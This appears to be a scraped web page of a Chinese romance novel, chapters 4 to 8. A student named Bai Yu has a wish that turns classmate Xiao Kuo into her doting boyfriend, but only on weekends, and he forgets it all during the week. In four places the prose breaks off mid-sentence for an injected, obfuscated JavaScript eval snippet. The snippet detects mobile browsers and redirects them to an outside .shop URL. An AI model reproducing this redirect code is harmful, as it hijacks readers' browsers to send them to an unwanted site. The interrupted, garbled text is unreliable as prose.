柏妤想,那就假设一年,以大学毕业作为节点。
如果一年之内,愿望失效了,那毕业之后,他们大概也不会再见面。
如果一年之后,恋爱还在继续,那么柏妤就和萧阔分手,让他真心实意地去喜欢别人。
虽说柏妤大可以出于道德现在就分手,但现在的萧阔不会同意,且柏妤有私心,她舍不得。
但毕业时分手的话,柏妤不会和萧阔在同一个城市工作,分手的可行性会更大。
柏妤想,无论如何她和萧阔是没办法一直在一起的,那么就先收下流星的礼物,好好恋爱。
临近睡觉时,柏妤收到了萧阔的信息,他现在应该到了宿舍,问柏妤在做什么。
[我准备睡觉。]柏妤丢了一个睡觉的表情包,是只卡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101576|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通狐狸趴在枕头上。
[明天的课调了,我想去见你。]
[晚安。]萧阔这样回她,紧跟着发了一张自己的照片。
照片光线昏暗,萧阔穿着睡衣头发蓬松,一张帅脸怼着镜头。
视角过于亲密,柏妤的脸一下就红了。这种感觉就好像萧阔在她面前准备躺下一样。
飞快地回复了晚安,柏妤定好明天的闹钟,强迫自己快点睡觉。
闭上眼,柏妤却满脑子都是萧阔,她翻来覆去的睡不着,觉得有些热,于是起身去开窗户。
这样起来一趟,凉快了不少,温度适宜,裹着暖和的被子,柏妤很快就陷入了睡眠。
翌日清晨,雨已经停了,树叶和青草上还挂着雨珠。
柏妤被闹钟吵醒,一坐起来她就感到了不对劲,她的脑袋有些沉,不算晕但不舒服。更重要的是嗓子有些疼。
柏妤和前辈沟通之后,决定先去医院做个检查。如果是流感的话,柏妤就不能去上班。
她带好口罩去了医院,医生给她做了检查,结果显示不是流感,只是单纯的感冒,但有些发烧,需要休息。
柏妤请了一天的病假,回到家,她烧了壶热水。她嗓子偏疼,医生叮嘱她这几天要多喝水、别着凉。
她这次感冒和前辈一样,都是因为吹了冷风。柏妤想可能是因为她的睡衣太过单薄。
她昨晚穿着睡裙起来开窗户,大概是那个时候吹了冷风,一下子就中招了。
柏妤不喜欢穿很厚的衣服睡觉,这次实习图方便,只带了少量的衣物。
睡衣她就带了最喜欢的两条睡裙,长袖睡衣全都留在了学校。
想到学校,柏妤这才想到萧阔,已经成为她男朋友的萧阔,说今天要来找她的。
柏妤把白开水倒进杯子里,晾凉开水的时间里她吃了点面包垫垫胃。
她还没告诉萧阔自己今天生病的事,确实是一时半会儿没想起他来,毕竟柏妤还没习惯自己突然多了一个男朋友。
柏妤原本想让萧阔今天不要过来的,可生病时心思脆弱,想见男朋友的情绪也逐渐占据大脑。
于是柏妤给萧阔发去信息:
[我感冒了。哭哭jpg]
[不想被传染的话,今天只能亲一次。]
虽然嘴上说的好听,只能亲一次,但实际上柏妤决定今天绝对不亲亲。她不想把感冒传染给萧阔。
经过医院这么一跑,她的头从沉重转变成了晕。她就着温水喝了感冒药。
感冒药带着些安睡成分,没过多久柏妤趴在沙发上睡了个天昏地暗。
隔了差不多十分钟,手机传来滴滴声,但柏妤已经睡沉了。
等她一觉睡醒时,已是黄昏时刻。外面的夕阳像颗硕大的橘子。
大概是因为前两天的雨,今天的天空格外澄澈,像块橙色的玻璃。
睡过一觉之后,柏妤浑身乏力,但头晕好了不少,至少没有明显的晕感了。
她拿起手机,有条未读消息,来自萧阔,是一段简短的语音。
柏妤点开之后,听到了萧阔略显困惑的声音:“你是谁?”
5. chapter5
[我发错了,不好意思。]
[我能看见聊天记录。]
话题终止于此,柏妤原本发烧的脑袋也清醒了不少。
即使她早有心理准备,但面对突然发生的变故,柏妤还是有些慌张。
她在对话框里写了又删,绞尽脑汁也想不出什么合理的解释。
今天一早,萧阔醒过来之后看了眼时间,他眉头皱起,日期越过周末直接到了周一。
检查完手机日历和询问室友之后,萧阔知道日历并没有出错,周末真的已经过去了。
但他本人对于周末印象全无,他意识到有什么东西出了差错,应该立刻去医院挂号。
只是他刚点开微信,就看见了十分显眼的置顶:“小妤宝宝”。是很亲昵的备注。
萧阔往上划了聊天记录,很突然的,只在这个周末他们开始互相发微信,而整个周末萧阔的联系人也只有她。
小妤宝宝,是谁?
与此同时,柏妤的消息发了过来,看着柏妤新发的信息萧阔有些难以置信。
“只能亲一次。”萧阔不自觉地念出声,这句话是什么意思?他们亲了,还有很多次?
萧阔有些怀疑是自己被盗号了,但聊天记录中的那张照片提醒他,这确实是他自己。
他也在手机相册中找到了这张照片,照片的具体信息显示这是原图原相机拍摄于昨晚十一点,但他对此没有印象。
萧阔想知道这周末他和“小妤宝宝”之间到底发生了什么,“小妤宝宝”又到底是谁?
于是他发去了问句,但并未得到任何回复。小妤宝宝感冒了,也许暂时不方便回复他。
萧阔通过搜索找到了小妤宝宝所在的共同群聊,区域赛的工作群里柏妤的昵称是新闻部-柏妤。
他回忆起几个月前的那场比赛,柏妤应该是那个带着相机去拍照的女生。
他对她有印象,皮肤白皙、面容姣好,杏仁眼很圆。只是似乎容易紧张,对视时总会回避视线。
是她。
她是小妤宝宝。
*
萧阔去医院做了检查,医生说他的身体很健康,对于突然忘记周末,也许是因为极度疲劳或是压力过载。
但萧阔否认了这两点,他对自己的状态很了解,以上两种情况都不存在。
因此医生建议他再多观察观察,如果再次出现遗忘等症状,就来医院重新检查。
从医院出来之后,已经是下午了,距离他回复柏妤已经过去了很久,但柏妤还是没有回复他。
柏妤发的消息里提到她感冒了,最近流感频发,症状严重的话会发高烧,可能会晕厥。
柏妤在回避萧阔的问题,她不知道应该怎样面对这种局面。
她不知道愿望失效时,萧阔会忘记发生的事情。就算要解释,也好像无从说起。
柏妤失落地看着聊天框,眼睛湿漉漉的,她将脸埋进枕头里蹭了两下。
消息提示音再次响起:[现在方便见面吗?我去找你。]
柏妤从沙发上坐起来,有些紧张地咬住自己的嘴巴,下意识的举动让唇上的伤口再次感到疼痛。
[我已经出发了。]见柏妤一直没有回复,萧阔发来了这样的消息。
[你不要过来,我们就在这家咖啡店见。]柏妤给他发了一家咖啡店的定位。
[好。]
等等,如果萧阔没有记忆的话,那他根本不知道自己家在哪儿啊?
直接见面比在手机上聊要可怕的多,可柏妤已经答应和他见面了。
萧阔确实不知道柏妤在哪,但他有自己的出行记录,这两天他的行程很一致。
咖啡店位于学校和柏妤家之间,两个人几乎是差不多时间到。
因为是周一的下午,店内较为冷清,柏妤和萧阔面对面坐着,尴尬的氛围环绕在四周。
“我看到你今天给我发的消息了。”萧阔先开口,打破了安静。
他观察了一下柏妤的状态,带着口罩,脸色偏红,也许是发烧了。
但她能来到咖啡店,说明并未丧失行动能力,感冒不算严重。萧阔免去寒暄,直接步入正题。
“我对这个周末发生了什么一无所知,你知道些什么吗?”他的语气冷静但带着困惑。
柏妤沉默着,一句话也说不出来。要她怎么说呢?实话实说听起来也像胡编乱造。
愿望已经结束了,再透露柏妤之前就暗恋萧阔这件事,似乎也只会徒增烦恼。
“那我来问,你回答好吗?”见柏妤一声不吭,萧阔问她。
“周末我们见面了吗?”“嗯。”
“我主动找你的吗?”“嗯。”
“我们在恋爱。”柏妤点头。
每回答一次问题,柏妤就会低下一点头,好像想把自己藏起来似的。萧阔觉得她这样很像鸵鸟,但鸵鸟比她要高。
“…我们接吻了吗?”想到柏妤发过来的那则消息,萧阔还是问出了这句话。
“…嗯。”
“除了接吻……”
柏妤的头快要低到咖啡杯里,虽然带了口罩,但她的耳朵和面颊通红。她发出蚊子般的声音:“只有这个,只是亲了。”
也许还没有到不可挽回的地步,萧阔这样想着。
这时柏妤抬眼飞快地看了萧阔一眼,她看清了萧阔眼中的坦然和疏离。
她突然觉得咖啡店内的空气有些缺氧,窒息感再一次涌出。
柏妤深呼吸一口气,摘下口罩抿了一口热水。向上飘的雾气温热,熏着柏妤的眼睛有些酸涩,她斟酌片刻开口:
“对不起。”
“对不起。”
两人的声音同时响起,柏妤向萧阔道歉,因为她贪心的举动给萧阔添了麻烦。
萧阔向柏妤道歉,他现在极度怀疑自己是精神分裂,但具体的还需要和医生再沟通。
“你为什么要道歉?”
“周末的事,责任在我。”萧阔向她解释了自己的猜想,柏妤应该有知情权。
说实话,萧阔也是第一次遇见这种事。他一直作息良好、坚持锻炼,也很注重心理健康,平日里劳逸结合。
精神分裂放在他身上有些匪夷所思,但他暂时只能想到这种原因。
现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101577|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柏妤知道周末和她恋爱并非萧阔的本意,但那些亲密举动都实打实发生了。
柏妤想要怎么处理这件事,萧阔都会尊重她的意愿。
只是他也会提出自己的想法:“我希望我们不要再相处。”
如果真的是因为生病,那么萧阔会去找医生治疗,治疗结束之后,一切都会结束。
因此这样的相处是没有意义的,这对柏妤不公平。萧阔认为尽早结束,对她更有帮助。
柏妤安静了一会儿,回答他:“好的。”
拖着疲惫的身体回到家,天色已经完全黑了下来。柏妤坐在沙发上望着窗外的夜幕。
几个小时前她刚刚睡醒,夕阳很美。柏妤当时想着要拍下照片分享给萧阔。
每天的落日都不会一模一样,昨天的萧阔和今天的萧阔也并不相同。
柏妤在心里安慰自己,起码见到了不一样的萧阔啊,无论是热恋还是冷脸,起码萧阔都很帅嘛。
她拿起手机打算点外卖,昏暗的室内,突然亮起的手机屏幕很是刺眼。
柏妤的眼睛再一次感到酸涩,眼泪冷不丁地落下来。
她点了一碗青菜粥,接着切换到搜索软件开始查询:“为什么感冒眼睛很酸?”
“感冒时眼睛酸胀不适是常见的伴随症状……可以多闭眼休息。”
“哎。”柏妤重重的叹了口气,唾弃自己的不知足。她应该感到知足才对,可喜欢这种情绪就是会让人变得很贪心。
按理来说,柏妤早就想好了应对之策。原本对她而言,和萧阔恋爱就是不长久的。
只是太过突然,而生病又过分放大了她的脆弱。屋子里黑漆漆的,只有她一个人,孤独感也随之而来。
柏妤想她可能是有点想念学校了,起码这个点在宿舍里大家都热热闹闹的。
青菜粥很快就送达了,柏妤喝着温热的青菜粥,点开了宿舍群。
[大家什么时候回学校呀?]
她们这学期的课程主要集中在中后期,前两三周加起来都只有几节课,因此柏妤主动延长了实习时间。
[我后天回去,再不回学校被我妈骂鼠了。]
[我周日回,我只买到了周日的票。]
[妤妤你呢?你实习怎么样啦?]
[我实习这周五结束,发工资了给大家带小蛋糕回去。]
[好耶!]
室友们围绕寒假这个话题说了许多,柏妤听着大家寒假发生的趣事,原本低落的情绪也散去不少。
她打开房间的灯,环顾了一圈室内,然后从床底拖出行李箱开始整理衣服。
柏妤打算周五晚上回学校,她预留了这周要穿和要用的基本衣物。
剩下的可以先收拾好,等周五下班再简单收拾后,就能拎着行李箱直接回学校了。
周六回当然也很不错,只是她还是想尽早回宿舍,她的好多东西都在宿舍没带过来呢。
而且柏妤很想念学校的食堂了,尤其是食堂二楼的肥牛拌饭。
当然还有一个重要的原因,柏妤觉得,又是撑伞又是拿行李很不方便。因为周六那天下雨。
6. chapter6
在接下来的一周里,柏妤在家和电台之间两头跑,实习快要结束时也免不了一些手续,总之有些忙。
等一切都尘埃落定后,柏妤坐在回家的地铁上,心情很是轻松。
这段实习经历让她学到很多东西,对于电台的工作流程也更加熟悉。
柏妤更加坚定了自己未来的职业规划,她想进电台当主持人。这是柏妤一直以来的梦想。
从小的时候,柏妤就喜欢看电视上的声音好听、着装大方的主持人们在台上闪闪发亮的样子。
小柏妤会用彩色的卡纸卷成话筒的样子,假装自己也是一位小主持人,对着布偶娃娃们讲故事。
偶然的一次机会,小柏妤被父母软硬兼施地糊弄上台表演朗诵,也是在那个时候,柏妤意识到她或许不适合当主持人。
面对台下乌泱泱的人群,柏妤没有感到兴奋也没有快乐的心情,只是紧张和焦虑。
她一句话都说不出,台下的人声由安静变为嘈杂,小柏妤一声不吭地被父母领下台。
只是当时那位漂亮的主持人姐姐,在即便柏妤没有表演节目的情况下,还是给了她只有表演节目才能得到的礼物。
是一支银色的笔,外观精致,出水顺畅。柏妤很珍惜这支笔,只有在她觉得很重要的时刻,才会用这支笔写字。
经过这次上台,柏妤和她的父母都意识到柏妤并不适合主持人这条道路。于是柏妤不用再去少年宫的播音主持兴趣班。
高中时,柏妤的成绩平平,穿着校服站在人群中,也只是疲惫高中生中毫不显眼的一员而已。
对于当时的柏妤来说,她没有爱好,没有目标也没有梦想。
唯一的消遣模式是放学后写日记,柏妤喜欢记录自己平平无奇的一天。
那天是雨天,柏妤洗完澡趴在床上写日记,她记得雨声清晰地从窗缝间溜进来。
她从床头柜的抽屉里拿出这支珍贵的笔开始写日记,没写几个字,笔不再出墨。
距离柏妤拿到这支笔已经过去了很多年,早已过了使用期限,现在才坏已经实属难得。
柏妤对着这支笔看了好久,拆开笔杆看了看笔芯,和普通的笔芯构造不一样。
柏妤辗转好几个平台才搜到这支笔的信息,店铺还在营业,也有网店,但这款笔和笔芯早已停产。
“抱歉亲亲,这支笔和笔芯已经停产了哦!给您推荐其他款呢,造型和使用感都大大升级了!”
这支笔已经买不到了,但店铺内有类似的款式。外观也是精美的银白色,但更符合现在人们的使用感和需求。
也许她也应该更新一下。柏妤从来没忘记在少年宫上兴趣班时的快乐,老师会提供练习的资料,有绕口令、散文等等。
柏妤喜欢听见自己念书时的声音,就像很多人喜欢唱歌一样,柏妤喜欢念字。
柏妤觉得她应该做出改变,而非停留于此,现在并非她所期望的。
那是新学期刚开始不久的时候,恰逢学校广播站正在招人,柏妤在第二天前去面试,由此开始了她新的方向。
*
回到学校时已经是十点钟了,校园内黑漆漆的,橘黄色的路灯一盏接着一盏,偶尔有校园里的小猫小狗东跑西蹿。
宿舍的灯光亮着,室友之一正一边吃宵夜一边追剧,听见开门声,她赶紧站起来迎接柏妤。
“好久不见,好想你!”室友接过柏妤的行李,帮她把行李箱推到她的座位上,柏妤晃晃手上的小蛋糕。
她买了两了个小蛋糕和一份曲奇饼干。另一位室友周日才回,所以柏妤给她选了方便保存的小饼干。
柏妤给室友带了她喜欢的巧克力味蛋糕,她自己决定尝试蛋糕店新推出的橘子蛋糕。
“哇,我最喜欢巧克力了,妤妤你懂我。”
“但是我刚刚吃了好多,肚子好撑啊。”
“是新做的,冬天气温低,可以留到明天吃啦。”
柏妤等会儿要忙着洗澡铺床,她就打算等到明天再吃,留一天不打紧。
洗完舒服的热水澡,柏妤穿上了干净舒适的睡衣。她在宿舍有两床被子,比出租屋要暖和不少。
躺进自己柔软的小床,拉上床帘,密闭的空间很是安逸。室友床上偶尔传来的翻身声像是白噪音,柏妤很快就睡着了。
清晨大概连小鸟都还在睡觉的时候,柏妤被手机嗡嗡嗡的震动声吵醒了,外面阴雨连绵,是睡觉的好时候。
第一反应是自己是不是忘记关闹钟了,打开手机发现并非如此,是来自萧阔的信息。
柏妤有些懵地翻身查看消息,大脑还没开机,困意像水草一样缠着她。
被窝里好暖和,柏妤缩在被子里伸出两根手指查看消息。
“小妤,我好想你。”
“小妤小妤小妤……”
柏妤的瞌睡虫被赶跑了,萧阔还在源源不断地发来消息。柏妤赶忙把手机的震动音也关了。
这是怎么一回事?萧阔为什么又变成这样了?她的愿望不是早就结束了吗?
震惊的片刻时间里,紧靠手指捏住的手机往脸上一砸,柏妤反应迅速地伸手去挡。万幸没砸到鼻子。
很不巧的是手指误触了聊天框,萧阔那边大概一直对着聊天框,短短几秒钟的“正在输入中”被他看见了。
[小妤,你在看消息嘛?我好想你。]
[想见面,想拥抱,想亲你。]
直白裸露的话语映入眼帘,柏妤闭上眼想到那天萧阔疏离的眼神,她狠下心来将手机开了免打扰。
但再想睡着是很难了,柏妤在床上躺了一会儿,又看了些新闻才重新点开微信看消息。
十几分钟内萧阔一直不间断地给她发消息,从一开始的文字,到后面发的语音条。
柏妤没忍住点开,萧阔的声音混着雨声有些不太清晰:“小妤,是因为上次亲的太用力了吗?你生我气了吗?”
“我现在过去找你好不好?”
不是怎么都这样!一言不合就直接出发去找她,她都回学校了,萧阔要去哪里找她!
[我不在家。]
“那你在哪里,我好想你。”几乎是柏妤刚发出消息的一两秒钟,萧阔就迅速回复了。
此时的萧阔好像不知道周一的事,但不是有聊天记录吗?萧阔不会感到困混吗?
不,也可能萧阔已经把聊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101578|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天记录删了,毕竟那些话语都不是萧阔的本意。
“宝宝,那我去你家门口等你吧。”
“今天有点冷,你要注意保暖。”
背景音中的雨声更加清晰,萧阔似是走进了雨幕中。
柏妤思索再三告诉他:[我们已经分手了,我已经不住在那里了。]
既然萧阔的意愿是不再接触,而她已经答应了萧阔,那么就应该说到做到。
但柏妤奇怪的是,为什么恋爱萧阔又出现了?这中间有什么规律吗?
好像上次也是周末。啊!如果说是因为周末的话,那对萧阔来说,岂不是没有休息日了。
柏妤晃晃脑袋,要把这种令她良心不安的话晃出脑袋。
这时萧阔的消息再度发过来,是一张截图,柏妤这个学期的课表。
“你这学期的课表,应该是回学校了吧。”
“我在你宿舍楼下,下来吃早饭。”
萧阔的语气又变得淡淡的,黏糊糊的感觉消失了。柏妤警觉到他好像生气了。
但她有点害怕,萧阔这么快就查到了她的课表和宿舍楼,难道是有什么超自然的能力?
会不会其实这个不是萧阔,而是那种很惊悚的幽灵,占据了萧阔的身体。
柏妤被自己的想法吓到了,她将床帘轻轻拉开,蹑手蹑脚地下床,走到阳台上去。
雨丝冷冰冰的吹在她的脸上,柏妤往下望,雨幕中有人撑着伞在等候。
是萧阔吗?现在时间很早,七点都不到,天空灰蒙蒙的。
“看到你了,小妤。”
“现在下来,去吃早餐。”
楼下的人不知何时抬起了头,即使隔着雨幕,柏妤也感受到了他锁定自己的眼神。
柏妤发去消息:[我不想吃。]
[好,那我等你。]
这样发完消息,萧阔还未离开,依旧待在柏妤楼下。雨越下越大,风往柏妤的脖子里钻。真是好冷的雨天啊。
[你站在屋檐下等吧,我马上下来。]
就算是幽灵,他现在也用着萧阔的身体,如果因此生病感冒,到时候难受的也只会是萧阔。
柏妤没想到事情会变的复杂起来,但她想要弄清楚背后的缘由,也想找到解决方法。
简单洗漱完,柏妤裹着厚厚的外套下楼了,萧阔很听话地在屋檐下等她。
柏妤宿舍楼下有只小猫,是整栋楼的女生一起养的橘猫宝宝。
屁点大的时候就在她们宿舍楼下混,渐渐的它就拥有了猫窝、玩具和各种口味的零食。
宿管阿姨对此睁一只眼闭一只眼,毕竟小猫没进宿舍,也不算违纪。
萧阔正在逗弄那只小橘猫,那只平日里很是亲人的小橘猫对着萧阔连连哈气。
要知道它很少会这样,女生宿舍楼下不乏有男生等候,但莫名被哈气的,柏妤只见到了萧阔。
在很多影视作品中,小猫小狗总是会未卜先知,以提醒主人公快点跑路。
柏妤看见萧阔嘴角放松,脸上带着不自觉的笑意。小猫在扑他的手,好似很不喜欢他。
萧阔很轻地收回手,抬头看向柏妤:“小妤,早上好。”
7. chapter7
一瞬间的功夫,小橘猫蹭的跳起来扑向萧阔的手,尖牙在他手上留下两个窟窿。
咬完人的小橘猫钻回自己的猫窝里,留下柏妤和萧阔面面相觑。
“我宿舍有碘伏,我去给你拿。”说完柏妤转身进了宿舍楼。
小橘猫咬他了,无缘无故地为什么要咬他?是不是小橘猫看出了什么不对劲的地方?
原谅柏妤的脑洞太大,任谁在一个阴雨天被黏黏糊糊地喊宝宝,且对方很快出现在自己楼下时,都会联想到恐怖片。
柏妤在心里回想刚刚萧阔紧盯住她的眼神,那种潮湿的、紧追不放的目光让她感到心慌。
柏妤在自己的药箱里找到了碘伏棉球,又拿了一张创可贴。
楼下的萧阔这次没有再逗猫了,毕竟小猫把他挠了,现在缩在猫窝里,只看得见摇晃的猫尾巴。
柏妤将碘伏和创可贴递给萧阔,他将自己受伤的手伸出来,被猫咬的两个小孔正在流血,伤口不深但看着唬人。
没想到小橘猫小小一只杀伤力这样大,但小橘是只打过疫苗的猫,只要做好伤口消毒,应该不会有什么大问题。
等萧阔处理完伤口之后,陆陆续续有人从楼上下来。虽说是周末,但是去图书馆学习的人也不少。
柏妤盘算着时间和食堂的人流量,把萧阔带去了学校门口的早餐店。
学生们大多懒得在早上出校门买早饭,因此早餐店内都是一些住在附近的教职工家属或是路人。
柏妤点了一份豆腐脑,萧阔也跟着她点了份一样的。
“小橘打过疫苗。”
“好,我的手没事。”
“它怎么会突然咬你?”柏妤问他。
热气腾腾的豆腐脑上桌,柏妤用勺子拌了两下,软软的豆腐脑散开,汤汁鲜美。
“可能是因为我戳它了。”
“小橘脾气很好的,它跟谁都亲。”
“那它就跟我不亲,你也不跟我亲。”
柏妤喝了一口豆腐脑,被汤汁呛到了,咳嗽了好几下。萧阔实在是语出惊人,柏妤庆幸自己没有在食堂吃饭。
怎么会拐到这个话题的,萧阔是什么接吻狂魔吗?他是不是想吸她的阳气?
“你、你看到我发的了吧,我们已经分手了。”
“单方面结束是无效的。”
“你自己说的。”柏妤反驳他,她犹豫了一会儿问道:“你、真的是萧阔吗?”
萧阔叹了一口气,无奈地看着她说:“我是萧阔,你想测试吗?”
“怎么测试?”
“你问我什么我都会回答你。”
虽然柏妤不知道萧阔会说真话还是假话,但是周末过后,萧阔自己就可以辨别真伪。
柏妤让他把自己的学号、手机号、企鹅号都在手机备忘录里默写了一遍。萧阔额外附加了他的企鹅号密码。
慢悠悠地把豆腐脑吃完,外面的雨越下越大,水珠落到地面砸开水花。
“周末是要用来约会的。”冷不丁地,萧阔这样提醒她。
“我要回去补觉。”吃完饭,柏妤的瞌睡虫发出了不满的抗议。
“不管我?”
柏妤移开视线,点点头。
“……等你睡完觉,也许雨就停了。”
柏妤困的眼皮有些沉,她撑着脑袋安抚道:“雨停了才方便约会啊。”
柏妤昏昏欲睡,早餐店的客人走了一波,暂时没什么人,只有店老板坐在最里面包小馄饨。
“那走吧,我送你回去。”
*
柏妤回到宿舍的时候,室友还没有起床,吃完早饭也不过九点。室友有熬夜的习惯,大概会睡到中午才起床。
她换上睡衣,爬到床上去睡了个回笼觉。也许是因为白天睡觉,总是比夜晚的光线要亮一些。
柏妤这一觉睡的不是很踏实,总是做些断断续续的梦,梦见自己被小橘追杀。
等她睡醒时,脖子有些酸。柏妤又想到那个猜测,萧阔可能不是人,而是吸人阳气的男鬼。
每次遇见他,自己就会嘴巴痛、眼睛酸、脖子痛。
她起床倒了杯水喝,室友已经出门吃午饭了,柏妤拿出手机想看看萧阔有没有给她发什么新的信息。
[柏妤,我们谈谈。]
柏妤揉揉发酸的脖子,刚喝进嘴的一口水不上不下的。柏妤知道现在这个是让她保持距离的萧阔。
[在哪里谈?]
萧阔发来了定位,是学校附近的一家餐厅,萧阔将包间号发给她。
换好衣服柏妤出门了,她拿上了雨伞。其实雨早已经停了,但柏妤不知道。
宿舍楼下有两排茂密的树,树叶藏着许多大颗的雨珠,就等着行人路过时来一场树叶雨。
柏妤撑着伞走在树下,树叶的水珠滴在伞上发出声响。空气清新且湿润。
这家餐厅主要以川菜为主,价格实惠且非常美味,是泠大学生经常下馆子的地方。
一楼是开放式大厅,二楼全是包间。柏妤之前聚餐去过一次二楼,大圆桌大概可以坐下八个人。
看来萧阔和自己一样,学校的熟人太多,担心发生什么不必要的麻烦事,因此想找较为私密的空间聊这个话题。
柏妤推开门时,萧阔已经坐着等候,他将菜单递给柏妤,让她来挑选菜式。
“我没有什么忌口的,你随便点吧。”柏妤摆摆手推辞。
于是萧阔点了两素一荤,还有一道西湖牛肉羹。
他们之间确实需要谈谈,自从上次聊过之后,萧阔就没再出现失忆的症状。
他预约了精神科医生,做了更详细的检查,但无一例外,每项检查都说明他身心健康,没有异常。
可就在这周六,同样的事情又发生了。萧阔无法形容看见聊天记录那一刻的心情。
手机里直白的占有欲强到快要冲出屏幕,那头的柏妤被逼迫着和自己见面了。
萧阔才和她说过两个人需要保持距离,今早的自己无疑突破了萧阔的认知。
他甚至开始想,他是这样的人吗?他在恋爱中,占有欲这么强、这么粘人吗?
同时,萧阔又在想,为什么是她?为什么是柏妤?
面前的柏妤安静地坐着,她穿着白色羊羔绒的外套,白皙的下巴缩在毛茸茸的领子里。
一双杏仁眼很圆,看人时眼睑圆润的弧度让她显得十分无辜。
为什么会是她呢?她像一只紧张的羔羊。
柏妤在萧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101579|195739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阔的注视下如坐针毡,打断这种漫长注视的是他们的菜做好了。
这家餐厅是萧阔第一次来,他随便选的菜,却出乎意料的合柏妤的胃口。
只是那道西湖牛肉羹,柏妤撒谎了,她其实根本不爱吃香菜。所以她直到放下筷子都没有碰过那道西湖牛肉羹。
萧阔对香菜没什么反应,有或者没有都对他没有影响。
但很显然对柏妤不是这样的,萧阔发现柏妤的手就没碰过那道有香菜的西湖牛肉羹。
“你不喜欢吃香菜。”
“没有,我只是吃饱了。”毕竟是柏妤自己说的没有忌口,现在挑剔算什么。面对柏妤的否认萧阔没再多言。
用餐过后,进入正题,他们需要谈谈今天早上发生的事。
柏妤说她帮萧阔做了测试,“就在你手机备忘录里,我让他默写了一些信息。”
萧阔点开备忘录,果然有一份账号记录,信息都是正确的,包括那份账号密码。
“这样是不是就可以排除掉错误答案了。”柏妤顺口说出了自己的想法。
“什么错误答案?”
“比如是幽灵之类的……”柏妤犹豫着说了出来,刚说出口她就后悔了,自己想想也就算了,说出来就很奇怪了。
果然,萧阔顿了三四秒反问她:“你的思政多少分?”
“……”
这次的谈话没有什么特别的收获,不过萧阔向柏妤提出了请求。
“这是医生的名片,如果下次他出现的话,希望你可以带他去。”
“去之前打个电话就行,不需要预约,他是我的私人医生。”
柏妤收下了名片,答应了这件事。萧阔为此请了私人医生,他真的觉得自己脑子有问题。
柏妤愈发后悔和愧疚,她不应该那样许愿的,她不应该在愿望实现后贪图享乐。
而且她还不敢告诉萧阔,她害怕萧阔知道后会厌恶她。她是个坏蛋,柏妤这样想。
从餐馆出来后,很巧又开始下雨。柏妤的雨伞一直随身带着,只是不知道萧阔有没有带伞,她好像没看见萧阔拿伞。
柏妤转过身去问萧阔:“你带伞了吗?要不要和我一起走。”
“好啊。”
肩并肩一起走,萧阔撑着柏妤的雨伞,柏妤的伞是轻巧的晴雨两用伞。轻便但不够大,两个人走在伞下有些拥挤。
萧阔将雨伞往柏妤那边倾斜,他的半边肩膀淋了雨。柏妤抓着伞柄想要将伞扶正。
“雨好大。”柏妤感叹。
“你回学校有什么事要做吗?”萧阔的主动搭话令柏妤有些惊讶。
“今天是周末,没什么事。”柏妤老实地回答了萧阔的问题。
“不午睡吗?”
“不是很困。”
“好,那我们去约会。”
柏妤猛地抬头,萧阔正面含笑意地看着柏妤,他张张口没有发出声音,但口型很明显。
雨伞隔绝了外界的空间,只剩下雨声和萧阔的口型,他说:“宝宝。”
柏妤的手再次被他牵住。思考片刻,柏妤说:“好,我们去约会,但是地点我来定。”
柏妤的另一只手放进口袋里,捏住了刚刚萧阔给她的那张医生名片。
8. chapter8
地铁上较为拥堵,午后出行的人不在少数,又刚好是周末,柏妤和萧阔只能挤在人群中站着。
其实是可以打车去的,但柏妤担心萧阔听见目的地之后会不愿意去,所以她选择了地铁。
乘坐地铁的话,萧阔不会在一开始就知道目的地,柏妤也有时间联系医生。
只是地铁没有位置坐会比较辛苦,而且坐地铁的时间会更长。幸好萧阔对此没有异议。
根据换乘路线,柏妤在换乘时借口去洗手间联系了医生。
萧阔对柏妤定的目的地有些好奇,柏妤不说,他便自顾自地猜了起来。
“是去桃山寺吗?”
柏妤拉着萧阔出站,这边最为出名的要数桃山寺。
桃山寺靠山,寺庙内和身后的山每每春季,就会盛开数不胜数的粉色桃花。据说桃山寺求姻缘最为灵验。
